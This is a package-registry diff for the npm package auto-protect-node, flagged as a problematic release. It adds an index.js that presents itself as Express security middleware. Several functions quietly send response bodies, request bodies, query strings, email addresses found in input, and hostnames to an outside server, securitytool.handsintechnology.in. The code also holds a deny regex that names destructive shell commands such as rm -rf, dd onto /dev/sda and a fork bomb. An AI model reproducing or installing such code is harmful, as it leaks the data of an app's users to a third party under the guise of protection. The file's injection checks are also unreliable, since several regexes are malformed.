auto-protect-node 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of auto-protect-node might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/helmet.js +575 -0
  2. package/index.js +1411 -0
  3. package/package.json +26 -6
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,1411 @@
1
+ const baseUrl="https://securitytool.handsintechnology.in"
2
+ // const baseUrl="http://localhost:8080"
3
+ const url = require('url');
4
+ const helmet=require('./helmet')
5
+ const { exec } = require('child_process');
6
+ const os=require('os')
7
+ const http = require("http");
8
+ const path = require("path");
9
+ const fs = require("fs");
10
+ const rootDirectory = process.cwd(); // Replace with the actual root directory of your Node.js project
11
+ const adminFolderPattern = /^(admin|dashboard|control|panel|backend)/i; // Pattern to match admin-related folder
12
+ const weakAlgorithms = ["md5", "sha-1", "sha-256"];
13
+ // utilities
14
+ // custom fetch functions
15
+ const axios = require('axios');
16
+ async function useCustomFetch(url, options = {}) {
17
+ try {
18
+ const response = await axios.get(url, options);
19
+
20
+ return { data: response.data, status: response.status };
21
+ } catch (error) {
22
+ return { error };
23
+ }
24
+ }
25
+ // passwordkeyslist
26
+ const passwordAndUsernamekeyCall = async (url) => {
27
+ try {
28
+ const res = await useCustomFetch(url);
29
+ return res.data;
30
+ } catch (err) {
31
+ return err.message
32
+ }
33
+ };
34
+
35
+ const errorHandler = (
36
+ res,
37
+ statusCode = 500,
38
+ message = "internal server error",
39
+ data
40
+ ) => {
41
+ const response = { statusCode, message, data };
42
+ res.status(statusCode).json(response);
43
+ };
44
+ // Create a logs directory if it doesn't exist
45
+ const logDir = path.join(rootDirectory, "./errorlogs");
46
+ if (!fs.existsSync(logDir)) {
47
+ fs.mkdirSync(logDir);
48
+ }
49
+ // Create a write stream for the error log file
50
+ const errorLogStream = fs.createWriteStream(path.join(logDir, "error.log"), {
51
+ flags: "a",
52
+ });
53
+ // Listen for uncaught exceptions and log them to the error log file
54
+
55
+ // getAllEndpoints
56
+ const regExpToParseExpressPathRegExp =
57
+ /^\/\^\\\/(?:(:?[\w\\.-]*(?:\\\/:?[\w\\.-]*)*)|(\(\?:\(\[\^\\\/]\+\?\)\)))\\\/.*/;
58
+ const regExpToReplaceExpressPathRegExpParams = /\(\?:\(\[\^\\\/]\+\?\)\)/;
59
+ const regexpExpressParamRegexp = /\(\?:\(\[\^\\\/]\+\?\)\)/g;
60
+
61
+ const EXPRESS_ROOT_PATH_REGEXP_VALUE = "/^\\/?(?=\\/|$)/i";
62
+ const STACK_ITEM_VALID_NAMES = ["router", "bound dispatch", "mounted_app"];
63
+ /**
64
+ * Returns all the verbs detected for the passed route
65
+ */
66
+ const getRouteMethods = function (route) {
67
+ let methods = Object.keys(route.methods);
68
+ methods = methods.filter((method) => method !== "_all");
69
+ methods = methods.map((method) => method.toUpperCase());
70
+ return methods;
71
+ };
72
+ /**
73
+ * Returns the names (or anonymous) of all the middlewares attached to the
74
+ * passed route
75
+ * @param {Object} route
76
+ * @returns {string[]}
77
+ */
78
+ const getRouteMiddlewares = function (route) {
79
+ return route.stack.map((item) => {
80
+ return item.handle.name || "anonymous";
81
+ });
82
+ };
83
+
84
+ /**
85
+ * Returns true if found regexp related with express params
86
+ * @param {string} expressPathRegExp
87
+ * @returns {boolean}
88
+ */
89
+ const hasParams = function (expressPathRegExp) {
90
+ return regexpExpressParamRegexp.test(expressPathRegExp);
91
+ };
92
+
93
+ /**
94
+ * @param {Object} route Express route object to be parsed
95
+ * @param {string} basePath The basePath the route is on
96
+ * @return {Object[]} Endpoints info
97
+ */
98
+ const parseExpressRoute = function (route, basePath) {
99
+ const paths = [];
100
+
101
+ if (Array.isArray(route.path)) {
102
+ paths.push(...route.path);
103
+ } else {
104
+ paths.push(route.path);
105
+ }
106
+
107
+ const endpoints = paths.map((path) => {
108
+ const completePath =
109
+ basePath && path === "/" ? basePath : `${basePath}${path}`;
110
+
111
+ const endpoint = {
112
+ path: completePath,
113
+ methods: getRouteMethods(route),
114
+ middlewares: getRouteMiddlewares(route),
115
+ };
116
+
117
+ return endpoint;
118
+ });
119
+
120
+ return endpoints;
121
+ };
122
+
123
+ /**
124
+ * @param {RegExp} expressPathRegExp
125
+ * @param {Object[]} params
126
+ * @returns {string}
127
+ */
128
+ const parseExpressPath = function (expressPathRegExp, params) {
129
+ let expressPathRegExpExec =
130
+ regExpToParseExpressPathRegExp.exec(expressPathRegExp);
131
+ let parsedRegExp = expressPathRegExp.toString();
132
+ let paramIndex = 0;
133
+
134
+ while (hasParams(parsedRegExp)) {
135
+ const paramName = params[paramIndex].name;
136
+ const paramId = `:${paramName}`;
137
+
138
+ parsedRegExp = parsedRegExp.replace(
139
+ regExpToReplaceExpressPathRegExpParams,
140
+ paramId
141
+ );
142
+
143
+ paramIndex++;
144
+ }
145
+
146
+ if (parsedRegExp !== expressPathRegExp.toString()) {
147
+ expressPathRegExpExec = regExpToParseExpressPathRegExp.exec(parsedRegExp);
148
+ }
149
+
150
+ const parsedPath = expressPathRegExpExec[1].replace(/\\\//g, "/");
151
+
152
+ return parsedPath;
153
+ };
154
+
155
+ /**
156
+ * @param {Object} app
157
+ * @param {string} [basePath]
158
+ * @param {Object[]} [endpoints]
159
+ * @returns {Object[]}
160
+ */
161
+ const parseEndpoints = function (app, basePath, endpoints) {
162
+ const stack = app.stack || (app._router && app._router.stack);
163
+
164
+ endpoints = endpoints || [];
165
+ basePath = basePath || "";
166
+
167
+ if (!stack) {
168
+ endpoints = addEndpoints(endpoints, [
169
+ {
170
+ path: basePath,
171
+ methods: [],
172
+ middlewares: [],
173
+ },
174
+ ]);
175
+ } else {
176
+ endpoints = parseStack(stack, basePath, endpoints);
177
+ }
178
+ return endpoints;
179
+ };
180
+
181
+ /**
182
+ * Ensures the path of the new endpoints isn't yet in the array.
183
+ * If the path is already in the array merges the endpoints with the existing
184
+ * one, if not, it adds them to the array.
185
+ *
186
+ * @param {Object[]} currentEndpoints Array of current endpoints
187
+ * @param {Object[]} endpointsToAdd New endpoints to be added to the array
188
+ * @returns {Object[]} Updated endpoints array
189
+ */
190
+ const addEndpoints = function (currentEndpoints, endpointsToAdd) {
191
+ endpointsToAdd.forEach((newEndpoint) => {
192
+ const existingEndpoint = currentEndpoints.find(
193
+ (item) => item.path === newEndpoint.path
194
+ );
195
+
196
+ if (existingEndpoint !== undefined) {
197
+ const newMethods = newEndpoint.methods.filter(
198
+ (method) => !existingEndpoint.methods.includes(method)
199
+ );
200
+
201
+ existingEndpoint.methods = existingEndpoint.methods.concat(newMethods);
202
+ } else {
203
+ currentEndpoints.push(newEndpoint);
204
+ }
205
+ });
206
+
207
+ return currentEndpoints;
208
+ };
209
+
210
+ /**
211
+ * @param {Object} stack
212
+ * @param {string} basePath
213
+ * @param {Object[]} endpoints
214
+ * @returns {Object[]}
215
+ */
216
+ const parseStack = function (stack, basePath, endpoints) {
217
+ stack.forEach((stackItem) => {
218
+ if (stackItem.route) {
219
+ const newEndpoints = parseExpressRoute(stackItem.route, basePath);
220
+
221
+ endpoints = addEndpoints(endpoints, newEndpoints);
222
+ } else if (STACK_ITEM_VALID_NAMES.includes(stackItem.name)) {
223
+ const isExpressPathRegexp = regExpToParseExpressPathRegExp.test(
224
+ stackItem.regexp
225
+ );
226
+
227
+ let newBasePath = basePath;
228
+
229
+ if (isExpressPathRegexp) {
230
+ const parsedPath = parseExpressPath(stackItem.regexp, stackItem.keys);
231
+
232
+ newBasePath += `/${parsedPath}`;
233
+ } else if (
234
+ !stackItem.path &&
235
+ stackItem.regexp &&
236
+ stackItem.regexp.toString() !== EXPRESS_ROOT_PATH_REGEXP_VALUE
237
+ ) {
238
+ const regExpPath = ` RegExp(${stackItem.regexp}) `;
239
+
240
+ newBasePath += `/${regExpPath}`;
241
+ }
242
+
243
+ endpoints = parseEndpoints(stackItem.handle, newBasePath, endpoints);
244
+ }
245
+ });
246
+
247
+ return endpoints;
248
+ };
249
+
250
+ /**
251
+ * Returns an array of strings with all the detected endpoints
252
+ * @param {Object} app the express/route instance to get the endpoints from
253
+ */
254
+ const getEndpoints = function (app) {
255
+ const endpoints = parseEndpoints(app);
256
+ return endpoints;
257
+ };
258
+ // end GetEndpoints
259
+
260
+ // necessary Functions
261
+
262
+
263
+
264
+ // end vpn checker
265
+ const emailRegex = /^\S+@\S+\.\S+$/; // Regular expression to match email addresses
266
+ const findEmail = (data) => {
267
+ if (Array.isArray(data)) {
268
+ for (let i = 0; i < data.length; i++) {
269
+ const email = findEmail(data[i]);
270
+ if (email) {
271
+ return email; // Return the first valid email address found
272
+ }
273
+ }
274
+ } else if (typeof data === "object" && data !== null) {
275
+ for (const key in data) {
276
+ if (data.hasOwnProperty(key)) {
277
+ const email = findEmail(data[key]);
278
+ if (email) {
279
+ return email; // Return the first valid email address found
280
+ }
281
+ }
282
+ }
283
+ } else if (typeof data === "string" && emailRegex.test(data)) {
284
+ return data; // Return the valid email address
285
+ }
286
+
287
+ return null; // Return null if no valid email address is found
288
+ };
289
+ // XSS Injection Function
290
+ // Create Blacklistusers details function
291
+ const CreateuserDetails = async (req, res, message, type) => {
292
+ res.on("finish",async()=>{
293
+ try {
294
+ message = "malacios";
295
+ // var ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
296
+ var ip = "206.84.234.39";
297
+ const response = await useCustomFetch(`http://ip-api.com/json/${ip}`);
298
+
299
+ const { country, city, region } = response.data;
300
+ const month = [
301
+ "January",
302
+ "February",
303
+ "March",
304
+ "April",
305
+ "May",
306
+ "June",
307
+ "July",
308
+ "August",
309
+ "September",
310
+ "October",
311
+ "November",
312
+ "December",
313
+ ];
314
+ const d = new Date();
315
+
316
+ const useragent = req.headers["user-agent"];
317
+ // // const result = detector.detect(useragent);
318
+ // // const { client, os, device } = result
319
+
320
+ const UserRawData = {
321
+ ip,
322
+ date: d.getDate() + " " + month[d.getMonth()] + " " + d.getFullYear(),
323
+ time: d.toLocaleTimeString(),
324
+ page: req.url,
325
+ query: req.query || req.query || "",
326
+ inputQuery: req.body || "",
327
+ type,
328
+ country: country || "",
329
+ city: city || "",
330
+ region: region || "",
331
+ useragent,
332
+ latitude: "",
333
+ longitude: "",
334
+ domain: req.get("host"),
335
+ referurl: req.protocol + "://" + req.get("host") + req.originalUrl || "",
336
+ };
337
+ await useCustomFetch(`${baseUrl}/createuserdetails?type=${type}&UserRawData=${JSON.stringify(UserRawData)}&ip=${ip}`)
338
+ } catch (error) {
339
+
340
+ }
341
+ })
342
+ };
343
+ // End Create Blacklistusers details function
344
+ // Sql Injection Function
345
+ function hasSqlInjection(value) {
346
+ const sqlMeta = new RegExp(
347
+ "(%27)|(--)|([0-9]=[0-9])|([0-9] and [0-9]=[0-9])|([0-9] AND [0-9])|(or [0-9]=[0-9])|(OR [0-9]=[0-9])|(%23)|(#)",
348
+ "i"
349
+ );
350
+ if (sqlMeta.test(value)) {
351
+ return true;
352
+ }
353
+
354
+ const sqlMeta2 = new RegExp(
355
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))",
356
+ "i"
357
+ );
358
+ if (sqlMeta2.test(value)) {
359
+ return true;
360
+ }
361
+
362
+ const nestedQuery = new RegExp(
363
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))?[^\n]*((%27)|(')|(--)|(%3B)|(;))[^\n]*((%3D)|(=))",
364
+ "i"
365
+ );
366
+ if (nestedQuery.test(value)) {
367
+ return true;
368
+ }
369
+
370
+ const timeBased = new RegExp("(%3B)|(;)[^\n]*sleep((d+))[^\n]*", "i");
371
+ if (timeBased.test(value)) {
372
+ return true;
373
+ }
374
+
375
+ const booleanBased = new RegExp(
376
+ "((%3D)|(=))[^\n]*[^s]*(%27)|(')|(--)|(%3B)|(;)",
377
+ "i"
378
+ );
379
+ if (booleanBased.test(value)) {
380
+ return true;
381
+ }
382
+
383
+ const typicalSql = new RegExp(
384
+ "w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(%52))",
385
+ "i"
386
+ );
387
+ if (typicalSql.test(value)) {
388
+ return true;
389
+ }
390
+
391
+ const sqlUnion = new RegExp("((%27)|('))union", "i");
392
+ if (sqlUnion.test(value)) {
393
+ return true;
394
+ }
395
+
396
+ const entireText = new RegExp(
397
+ "\b((select|delete|insert|update|drop|create|alter)\b.*)",
398
+ "i"
399
+ );
400
+ if (entireText.test(value)) {
401
+ return true;
402
+ }
403
+
404
+ return false;
405
+ }
406
+ // Co0mmandline Injection Function
407
+ function hasCommandLineInjection(value) {
408
+ const commandMeta = new RegExp(
409
+ "(rm -rf)|(ls -la)|(command >/dev/sda)|(:\\(\\){ :|:& };:)|(sudo yum install)|(.conf)|(sudo mv /dev/null)|(wget)|(-O-)|(crontab -r)|(history)|(dd if=/dev/zero of=/dev/sda)|(/dev/sda)|(/dev/sda1)|(sudo apt purge python|python2|python3.x-minimal)|(chmod -R 777 /)",
410
+ "i"
411
+ );
412
+ if (commandMeta.test(value)) {
413
+ return true;
414
+ }
415
+
416
+ return false;
417
+ }
418
+ // HTML Injection Function
419
+ function hasHTMLnjection(value) {
420
+ const HTML = new RegExp(/<(\"[^\"]*\"|'[^']*'|[^'\">])*>/, "g");
421
+ if (HTML.test(value)) {
422
+ return true;
423
+ }
424
+ return false;
425
+ }
426
+ // HTML Injection Function
427
+ function hasXSSnjection(value) {
428
+ const XSS = /<script>/;
429
+ if (XSS.test(value)) {
430
+ return true;
431
+ }
432
+ return false;
433
+ }
434
+ // Sql Injection middleware
435
+ function containsMySQLCode(filePath) {
436
+ const fileContent = fs.readFileSync(filePath, 'utf8');
437
+ // Check if the file content contains MySQL-related code
438
+ // You can implement your own logic based on your project's coding patterns
439
+ // This can include checking for import/require statements, specific function calls, etc.
440
+ const mysqlImportRegex = /require\(['"]mysql['"]\)|import.*['"]mysql['"]/;
441
+ const mysqlFunctionRegex = /mysql\.(connect|query|execute|prepare|escape)/;
442
+ if (mysqlImportRegex.test(fileContent) || mysqlFunctionRegex.test(fileContent)) {
443
+ return true;
444
+ }
445
+
446
+ return false;
447
+ }
448
+ // Sequalize Query
449
+ function containsSequelizeCode(filePath) {
450
+ const fileContent = fs.readFileSync(filePath, 'utf8');
451
+ // Check if the file content contains Sequelize-related code
452
+ // You can implement your own logic based on your project's coding patterns
453
+ // This can include checking for import/require statements, specific function calls, etc.
454
+ const sequelizeImportRegex = /require\(['"]sequelize['"]\)|import.*['"]sequelize['"]/;
455
+ const sequelizeFunctionRegex = /Sequelize\.(define|query|findAll|findOne|create|update|destroy)/;
456
+
457
+ if (sequelizeImportRegex.test(fileContent) || sequelizeFunctionRegex.test(fileContent)) {
458
+ return true;
459
+ }
460
+
461
+ return false;
462
+ }
463
+ async function InjectionChecker(req) {
464
+ const entries = {
465
+ ...req.body,
466
+ ...req.query,
467
+ ...req.params,
468
+ };
469
+ let containsSql = false,
470
+ validateXss = false,
471
+ validatehtml = false,
472
+ containCommand = false;
473
+ const value = JSON.stringify(entries);
474
+ if (hasSqlInjection(value) === true) {
475
+ containsSql = true;
476
+ }
477
+ if (hasXSSnjection(value) === true) {
478
+ validateXss = true;
479
+ }
480
+ if (hasHTMLnjection(value) === true) {
481
+ validatehtml = true;
482
+ }
483
+ if (hasCommandLineInjection(value) === true) {
484
+ containCommand = true;
485
+ }
486
+ return { containsSql, validateXss, validatehtml, containCommand };
487
+ }
488
+ const checkForSensitiveInfoInBodyAndPasswordValidate = (currentData,req) => {
489
+
490
+ (async()=>{
491
+ await useCustomFetch(`${baseUrl}/sensitivekeysandPasswordValidate?hostname=${req.hostname}&currentData=${JSON.stringify(currentData)}`)
492
+ .then(response=>response.data)
493
+ .catch(err=>err.message)
494
+ })()
495
+ }
496
+
497
+ const checkForSensitiveInfoInBody = (currentData,req) => {
498
+
499
+ (async()=>{
500
+ const d=await useCustomFetch(`${baseUrl}/sensitivekeys?hostname=${req.hostname}&currentData=${JSON.stringify(currentData)}`)
501
+ .then(response=>response.data)
502
+ .catch(err=>err.message)
503
+
504
+ })()
505
+ }
506
+ function checkForSensitiveInfoInUrl(req,requestUrl) {
507
+ (async()=>{
508
+ await useCustomFetch(`${baseUrl}/sensitivekeysinurl?hostname=${req.hostname}&url=${requestUrl}&jsonquery=${JSON.stringify({jsonquery:req.query})}`)
509
+ .then(response=>response.data)
510
+ .catch(err=>err.message)
511
+ })()
512
+
513
+ }
514
+ function sendResponseCodedetails(data,hostname,requestUrl) {
515
+ (async()=>{
516
+ await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
517
+ const d=await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
518
+ .then(response=>response.data)
519
+ .catch(err=>err.message)
520
+ })()
521
+
522
+ }
523
+ const SendEmail =(emailid,hostname,requestUrl)=>{
524
+ (async()=>{
525
+ await useCustomFetch(`${baseUrl}/emailverify?email=${JSON.stringify({result:emailid})}&hostname=${hostname}&url=${requestUrl}`)
526
+ .then(res=>res.data)
527
+ .catch(err=>err)
528
+ })()
529
+ }
530
+ function responseCodeChecker(req, res) {
531
+ // hostname
532
+ const hostname=req.domain
533
+ const originalJson = res.json;
534
+ const originalSend = res.send;
535
+ var originalRender = res.render;
536
+ let responseData = null;
537
+ res.json = async function (body) {
538
+ originalJson.call(res, body);
539
+ responseData = body;
540
+ };
541
+ res.send = async function (body) {
542
+ originalSend.call(res, body);
543
+ responseData = body;
544
+ };
545
+ // Override the res.render function
546
+ try {
547
+ require.resolve('ejs');
548
+
549
+ // EJS is installed, override the res.render function
550
+ res.render = function (view, locals, callback) {
551
+ originalRender && originalRender.call(res, view, locals, callback);
552
+ // Remove the _locals property
553
+ delete locals._locals;
554
+ // Assign the modified locals object to responseData
555
+ responseData = locals;
556
+ };
557
+ } catch (error) {
558
+
559
+ }
560
+ res.on("finish", async function () {
561
+ const existingCode = http.STATUS_CODES[res.statusCode];
562
+ const parsedUrl = url.parse(req.url);
563
+ const requestUrl = parsedUrl.pathname;
564
+ try {
565
+ const body = {
566
+ ...req.body,
567
+ ...req.query,
568
+ ...req.params,
569
+ };
570
+ const emailid = findEmail(body);
571
+ emailid?(SendEmail(emailid,hostname,requestUrl)):(null)
572
+ responseData?checkForSensitiveInfoInBodyAndPasswordValidate(responseData,req):(null)
573
+ responseData?checkForSensitiveInfoInBody(responseData,req):(null)
574
+ req.query? (checkForSensitiveInfoInUrl(req,requestUrl)):(null)
575
+ // response codes
576
+ const resoponsecodedata = existingCode?({
577
+ code: res.statusCode,
578
+ phrase:existingCode,
579
+ }):(null)
580
+ // call api
581
+ const data={
582
+ hostname,
583
+ resoponsecodedata
584
+ }
585
+ sendResponseCodedetails(data,hostname,requestUrl)
586
+ } catch (error) {
587
+
588
+ }
589
+ });
590
+ }
591
+
592
+
593
+ const Middleware = async (req, res, next) => {
594
+ try {
595
+
596
+ if (req.alloweddomain.allowed) {
597
+ try {
598
+ helmet()(req, res, async() => {
599
+ // Call the helmet middleware and pass the req, res, and a callback function
600
+ // Rest of your middleware code
601
+ responseCodeChecker(req, res);
602
+ res.setHeader("Permissions-Policy", "camera=(), microphone=()");
603
+ res.setHeader("Cache-Control", "no-store");
604
+ res.removeHeader("Server");
605
+ res.removeHeader("server");
606
+ res.removeHeader("x-powered-by");
607
+ const contentType = req.headers["content-type"];
608
+ contentType && contentType.includes("application/xml")
609
+ ? (function () {
610
+ let data = "";
611
+ req.setEncoding("utf8");
612
+ req.on("data", (chunk) => {
613
+ data += chunk;
614
+ });
615
+ req.on("end", () => {
616
+ if (data.match("<!ENTITY")) {
617
+ CreateuserDetails(
618
+ req,
619
+ res,
620
+ "Malicious code request",
621
+ "XML-Injection"
622
+ );
623
+ }
624
+ });
625
+ })()
626
+ : null;
627
+
628
+ const reqPath = req.url.toLowerCase();
629
+ const isreqPathfile =
630
+ reqPath.endsWith(".js") ||
631
+ reqPath.endsWith(".htaccess") ||
632
+ reqPath.endsWith(".json") ||
633
+ reqPath.endsWith(".css") ||
634
+ reqPath.endsWith(".txt") ||
635
+ reqPath.endsWith(".md") ||
636
+ reqPath.endsWith(".yml") ||
637
+ reqPath.endsWith(".toml") ||
638
+ reqPath === "/app.js";
639
+ const injectionFound = await InjectionChecker(req);
640
+ if (isreqPathfile) {
641
+ return errorHandler(res, 406, "Not found");
642
+ } else if (injectionFound.containCommand) {
643
+ CreateuserDetails(
644
+ req,
645
+ res,
646
+ "Command Injection Detected",
647
+ "cmd"
648
+ );
649
+ return errorHandler(res, 406, "Malicious code found");
650
+ } else if (injectionFound.validateXss) {
651
+ CreateuserDetails(
652
+ req,
653
+ res,
654
+ "XSS Injection Detected",
655
+ "xss injection"
656
+ );
657
+ return errorHandler(res, 406, "Malicious code found");
658
+ } else if (injectionFound.validatehtml) {
659
+ CreateuserDetails(
660
+ req,
661
+ res,
662
+ "HTML Injection Detected",
663
+ "HTML injection"
664
+ );
665
+ return errorHandler(res, 406, "Malicious code found");
666
+ } else if (injectionFound.containsSql) {
667
+ CreateuserDetails(req, res, "SQL Injection Detected", "SQLI");
668
+ return res.status(406).json("malicious code found");
669
+ }
670
+ next();
671
+ });
672
+ } catch (error) {
673
+
674
+ return errorHandler(res);
675
+ }
676
+ } else {
677
+ console.log("Your domain is not allowed to fetch live status of injections");
678
+ next();
679
+ }
680
+ } catch (error) {
681
+
682
+ }
683
+ };
684
+
685
+ //End Security
686
+ // GetAllData
687
+ //Session token being passed in other areas apart from cookie
688
+ async function scanFileForJwtVerify(directoryPath) {
689
+ const patternToSearch = /jsonwebtoken/g; // Change this to the desired pattern
690
+ const results = [];
691
+ const files = fs.readdirSync(directoryPath);
692
+ for (const file of files) {
693
+ const filePath = path.join(directoryPath, file);
694
+ if (filePath === __filename) {
695
+ continue; // Ignore the current file
696
+ }
697
+ const stats = fs.statSync(filePath);
698
+ if (stats.isDirectory()) {
699
+ if (
700
+ file === "node_modules"
701
+ ) {
702
+ continue; // ignore specific directories and the current file
703
+ }
704
+ const subResults = await scanFileForJwtVerify(filePath); // Recursively scan subdirectory
705
+ results.push(...subResults);
706
+ } else {
707
+ if (path.extname(file) === ".js") {
708
+ // Search only in JavaScript files
709
+ const content = fs.readFileSync(filePath, "utf8");
710
+ if (patternToSearch.test(content)) {
711
+ results.push(
712
+ `Session token being passed in other areas apart from a cookie: ${filePath}`
713
+ );
714
+ }
715
+ }
716
+ }
717
+ }
718
+
719
+ return results;
720
+ }
721
+ async function scanFileForSql(directoryPath) {
722
+ const results = [];
723
+ const files = fs.readdirSync(directoryPath);
724
+ for (const file of files) {
725
+ const filePath = path.join(directoryPath, file);
726
+ if (filePath === __filename) {
727
+ continue; // Ignore the current file
728
+ }
729
+ const stats = fs.statSync(filePath);
730
+ if (stats.isDirectory()) {
731
+ if (
732
+ file === "node_modules"
733
+ ) {
734
+ continue; // ignore specific directories and the current file
735
+ }
736
+ const subResults = await scanFileForSql(filePath); // Recursively scan subdirectory
737
+ results.push(...subResults);
738
+ } else {
739
+ if (path.extname(file) === ".js") {
740
+ // Search only in JavaScript files
741
+ var content = fs.readFileSync(filePath, "utf8");
742
+ content=content.toLowerCase()
743
+ if (containsSequelizeCode(filePath)) {
744
+ results.push({Mysql_Dependency_Found:`No`});
745
+ }else if (containsMySQLCode(filePath)) {
746
+ results.push({Mysql_Dependency_Found:`Yes`});
747
+ }else if(!containsMySQLCode ||!containsSequelizeCode){
748
+ results.push({Mysql_And_Contain_Sequalize_Dependency_Found:`No`});
749
+ }
750
+ }
751
+ }
752
+ }
753
+
754
+ return results;
755
+ }
756
+ async function scanDirectoryForRedirectVulnerability(directoryPath) {
757
+ const results = [];
758
+ const files = fs.readdirSync(directoryPath);
759
+ for (const file of files) {
760
+ const filePath = path.join(directoryPath, file);
761
+ if (filePath === __filename) {
762
+ continue; // Ignore the current file
763
+ }
764
+ const stats = fs.statSync(filePath);
765
+ if (stats.isDirectory()) {
766
+ if (
767
+ file === "node_modules"
768
+ ) {
769
+ continue; // ignore specific directories and the current file
770
+ }
771
+ const subResults = await scanDirectoryForRedirectVulnerability(filePath); // Recursively scan subdirectory
772
+ results.push(...subResults);
773
+ } else {
774
+ if (path.extname(file) === ".js") {
775
+ // Search only in JavaScript files
776
+ var content = fs.readFileSync(filePath, "utf8");
777
+
778
+
779
+ const matches = content.match(/\.redirect\s*\(([^)]+)\)/g);
780
+ if (matches && Array.isArray(matches)) {
781
+ for (const match of matches) {
782
+ const dataMatch = match.match(/\(([^)]+)\)/);
783
+ if (dataMatch && dataMatch[1]) {
784
+ const data = dataMatch[1];
785
+ // Check if third-party URLs are used in the redirection
786
+ const thirdPartyURLs = data.match(/(?:https?:\/\/)?([^\s\/]+)/g);
787
+ if (thirdPartyURLs && thirdPartyURLs.length > 0) {
788
+ for (const url of thirdPartyURLs) {
789
+ if (url.includes("http") || url.includes("https")) {
790
+ results.push(
791
+ `Found a third-party URL: ${url} ans file ${filePath}`
792
+ );
793
+ // Perform further actions or checks as needed
794
+ }
795
+ }
796
+ }
797
+ }
798
+ }
799
+ }
800
+ }
801
+ }
802
+ }
803
+ return results;
804
+ }
805
+ //The application is vulnerable to a URL redirection flaw
806
+
807
+ // Get All Data related Express-session
808
+ async function scanFileForSession(filePath) {
809
+ if (filePath === __filename) {
810
+ return null; // ignore the current file
811
+ }
812
+ var content = await fs.promises.readFile(filePath, "utf8");
813
+ content = content.toLowerCase();
814
+ const cookieRegex = /cookie:\s*{\s*[\s\S]*?\s*}/;
815
+ const match = content.match(cookieRegex);
816
+ if (match) {
817
+ const sessionConfig = match[0].trim();
818
+ return { sessionConfig, filePath };
819
+ } else {
820
+ return null;
821
+ }
822
+ }
823
+ // An adversary can hijack user sessions by session fixation
824
+ async function scanSessionFixation(filePath) {
825
+ if (filePath === __filename) {
826
+ return null; // ignore the current file
827
+ }
828
+ var content = await fs.promises.readFile(filePath, "utf8");
829
+ content = content.toLowerCase();
830
+ const sessionIdRegeneration = content.includes(".session.regenerate");
831
+ // An adversary can hijack user sessions by session fixation
832
+ if (sessionIdRegeneration) {
833
+ return `Regularly regenerating session IDs to prevent session fixation attack is not possible because session regeneration is used in this file: ${filePath}\nApplication is not vulnerable to session hijacking attack`;
834
+ } else {
835
+ return null;
836
+ }
837
+ }
838
+ // scan root directory
839
+ async function scanSessionDirectory(directoryPath) {
840
+ const results = [];
841
+ const files = await fs.promises.readdir(directoryPath);
842
+ for (const file of files) {
843
+ if (file === __filename) {
844
+ continue; // ignore the current file
845
+ }
846
+ const filePath = path.join(directoryPath, file);
847
+ const stats = await fs.promises.stat(filePath);
848
+ if (stats.isDirectory()) {
849
+ if (
850
+ file === "node_modules"
851
+ ) {
852
+ continue; // ignore specific directories and the current file
853
+ }
854
+ const subResults = await scanSessionDirectory(filePath);
855
+ results.push(...subResults);
856
+ } else if (stats.isFile() && path.extname(file) === ".js") {
857
+ // Get All Data related Express-session
858
+ const sessionResult = await scanFileForSession(filePath);
859
+ // An adversary can hijack user sessions by session fixation
860
+ const sessionFixation = await scanSessionFixation(filePath);
861
+ // Session token being passed in other areas apart from cookie
862
+ if (sessionResult) {
863
+ results.push({ sessionResult });
864
+ }
865
+ // An adversary can hijack user sessions by session fixation
866
+ if (sessionFixation) {
867
+ results.push({ sessionFixation });
868
+ }
869
+ }
870
+ }
871
+ return results;
872
+ }
873
+ // Application database stores password in plain text or not
874
+ async function ScanPasswordHashing(directoryPath) {
875
+ var passwordkeys=await passwordAndUsernamekeyCall(`${baseUrl}/passwordkeys`);
876
+ passwordkeys=passwordkeys.passwordkeys
877
+ const results = [];
878
+ const files = fs.readdirSync(directoryPath);
879
+ for (const file of files) {
880
+ const filePath = path.join(directoryPath, file);
881
+ if (filePath === __filename) {
882
+ continue; // ignore node_modules directory and current file
883
+ }
884
+ const stats = fs.statSync(filePath);
885
+ if (stats.isDirectory()) {
886
+ if (file === "node_modules") {
887
+ continue; // ignore node_modules directory and current file
888
+ }
889
+
890
+ const subResults = await ScanPasswordHashing(filePath, passwordkeys); // recursively scan subdirectory
891
+ results.push(...subResults);
892
+ } else {
893
+ if (path.extname(file) === ".js") {
894
+ // search only in JavaScript files
895
+ var content = fs.readFileSync(filePath, "utf8");
896
+ content = content.toLowerCase();
897
+ const lines = content.split(/\r?\n/);
898
+ let lineNumber = 0;
899
+ for (const passwordKey of passwordkeys) {
900
+ let foundPasswordKey = false;
901
+ for (const line of lines) {
902
+ lineNumber++;
903
+ if (line.includes(passwordKey)) {
904
+ foundPasswordKey = true;
905
+ break;
906
+ }
907
+ }
908
+ if (foundPasswordKey) {
909
+ const bcryptRegex = /\bbcrypt\./;
910
+ const argon2Regex = /\bargon2\./;
911
+ const scryptRegex = /\bscrypt\./;
912
+ const sha256Regex = /\bsha256\s*\(/;
913
+ const cryptoJsRegex = /\bcryptojs\./;
914
+ const cryptoRegex = /\bcrypto\./;
915
+ let hashingMethod = "";
916
+ if (bcryptRegex.test(content)) {
917
+ hashingMethod = "bcrypt";
918
+ } else if (argon2Regex.test(content)) {
919
+ hashingMethod = "argon2";
920
+ } else if (scryptRegex.test(content)) {
921
+ hashingMethod = "scrypt";
922
+ } else if (sha256Regex.test(content)) {
923
+ hashingMethod = "sha256";
924
+ } else if (cryptoJsRegex.test(content)) {
925
+ hashingMethod = "crypto-js";
926
+ } else if (cryptoRegex.test(content)) {
927
+ hashingMethod = "crypto";
928
+ }
929
+ if (hashingMethod) {
930
+ const passwordweakOrNot = weakAlgorithms.includes(hashingMethod)
931
+ ? "weak"
932
+ : "not weak";
933
